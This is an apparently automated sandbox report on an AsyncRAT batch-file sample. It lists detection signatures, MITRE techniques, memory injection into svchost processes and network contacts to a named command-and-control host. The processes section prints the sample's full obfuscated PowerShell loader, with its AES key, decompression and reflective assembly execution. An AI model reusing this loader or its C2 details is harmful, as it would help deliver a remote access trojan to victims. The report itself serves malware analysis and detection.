Malware Analysis Report

2024-08-06 13:12

Sample ID 240615-qkk3jasara
Target $77Client.bat
SHA256 5390de25fad8a66fe3f2fa552338a94f128ea04f615c8a37db7a5c74096e71cd
Tags
asyncrat default execution rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5390de25fad8a66fe3f2fa552338a94f128ea04f615c8a37db7a5c74096e71cd

Threat Level: Known bad

The file $77Client.bat was found to be: Known bad.

Malicious Activity Summary

asyncrat default execution rat

AsyncRat

Async RAT payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Drops file in System32 directory

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-15 13:19

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-15 13:19

Reported

2024-06-15 13:19

Platform

win10-20240404-en

Max time kernel

34s

Max time network

23s

Command Line

c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\SleepStudy\user-not-present-trace-2024-06-15-13-19-32.etl C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\SleepStudy\user-not-present-trace-2024-06-15-13-19-32.etl C:\Windows\system32\svchost.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 408 wrote to memory of 4604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 408 wrote to memory of 4604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 408 wrote to memory of 5100 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 408 wrote to memory of 5100 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5100 wrote to memory of 3416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Explorer.EXE
PID 5100 wrote to memory of 1180 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1168 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2148 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 5092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1540 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1144 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1732 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 352 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 3276 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 732 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1712 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 5100 wrote to memory of 4792 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2296 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1704 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 5100 wrote to memory of 4264 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 5100 wrote to memory of 912 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1492 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2664 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2268 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1080 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2260 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2452 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1460 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 868 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2428 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1048 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 5100 wrote to memory of 60 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2224 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2024 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2408 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1028 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1808 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 624 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 2396 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1408 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 816 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 5100 wrote to memory of 4952 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 5100 wrote to memory of 1396 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 5100 wrote to memory of 1816 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\svchost.exe
PID 816 wrote to memory of 2696 N/A C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe
PID 816 wrote to memory of 2696 N/A C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe

Processes

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k rpcss

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k dcomlaunch -s LSM

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s gpsvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s Schedule

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservice -s EventSystem

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s Themes

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservice -s nsi

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s SENS

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s UserManager

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservice -s NlaSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservice -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservice -s netprofm

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k appmodel -s StateRepository

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservice -s CryptSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s WpnService

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s Browser

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservice -s CDPSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$77Client.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ksw8SAQi50b5VVVT8JAhNTRFtTw0A9NOUx0RCJki1ys='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hbqwyNJWc+2u3I84IJ2MwA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cSrAG=New-Object System.IO.MemoryStream(,$param_var); $XlGOh=New-Object System.IO.MemoryStream; $BsZhc=New-Object System.IO.Compression.GZipStream($cSrAG, [IO.Compression.CompressionMode]::Decompress); $BsZhc.CopyTo($XlGOh); $BsZhc.Dispose(); $cSrAG.Dispose(); $XlGOh.Dispose(); $XlGOh.ToArray();}function execute_function($param_var,$param2_var){ $SrgSB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NTToy=$SrgSB.EntryPoint; $NTToy.Invoke($null, $param2_var);}$BBkFc = 'C:\Users\Admin\AppData\Local\Temp\$77Client.bat';$host.UI.RawUI.WindowTitle = $BBkFc;$qHXrh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BBkFc).Split([Environment]::NewLine);foreach ($fdTIR in $qHXrh) { if ($fdTIR.StartsWith('HIearqRTqSNaefXJxubI')) { $LRRoy=$fdTIR.Substring(20); break; }}$payloads_var=[string[]]$LRRoy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 paris-disciplinary.gl.at.ply.gg udp
US 147.185.221.19:63286 paris-disciplinary.gl.at.ply.gg tcp
US 8.8.8.8:53 19.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 200.131.50.23.in-addr.arpa udp
US 147.185.221.19:63286 paris-disciplinary.gl.at.ply.gg tcp

Files

memory/5100-1-0x00007FF83E4B3000-0x00007FF83E4B4000-memory.dmp

memory/5100-5-0x0000028CB9DE0000-0x0000028CB9E02000-memory.dmp

memory/5100-8-0x00007FF83E4B0000-0x00007FF83EE9C000-memory.dmp

memory/5100-10-0x00007FF83E4B0000-0x00007FF83EE9C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vky2qnc5.22a.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/5100-36-0x0000028CB9F90000-0x0000028CB9FCC000-memory.dmp

memory/5100-47-0x0000028CBA3E0000-0x0000028CBA456000-memory.dmp

memory/5100-56-0x00007FF83E4B0000-0x00007FF83EE9C000-memory.dmp

memory/5100-57-0x0000028CB9FD0000-0x0000028CB9FD8000-memory.dmp

memory/5100-58-0x0000028CB9FE0000-0x0000028CBA016000-memory.dmp

memory/5100-59-0x0000028CBA010000-0x0000028CBA022000-memory.dmp

memory/3416-62-0x00000000005F0000-0x000000000061A000-memory.dmp

memory/352-112-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1396-116-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/732-120-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1732-119-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/2296-125-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1600-117-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/3416-115-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1240-114-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1180-113-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/2224-122-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1808-121-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/2148-118-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1492-111-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1376-110-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/2268-109-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/1168-108-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/2664-127-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/4792-126-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/5092-124-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/624-123-0x00007FF81B000000-0x00007FF81B010000-memory.dmp

memory/5100-159-0x00007FF83E4B3000-0x00007FF83E4B4000-memory.dmp

memory/5100-160-0x00007FF83E4B0000-0x00007FF83EE9C000-memory.dmp

memory/5100-161-0x00007FF83E4B0000-0x00007FF83EE9C000-memory.dmp

memory/5100-162-0x0000028CBA370000-0x0000028CBA3D8000-memory.dmp

memory/5100-164-0x0000028CBABE0000-0x0000028CBABFE000-memory.dmp

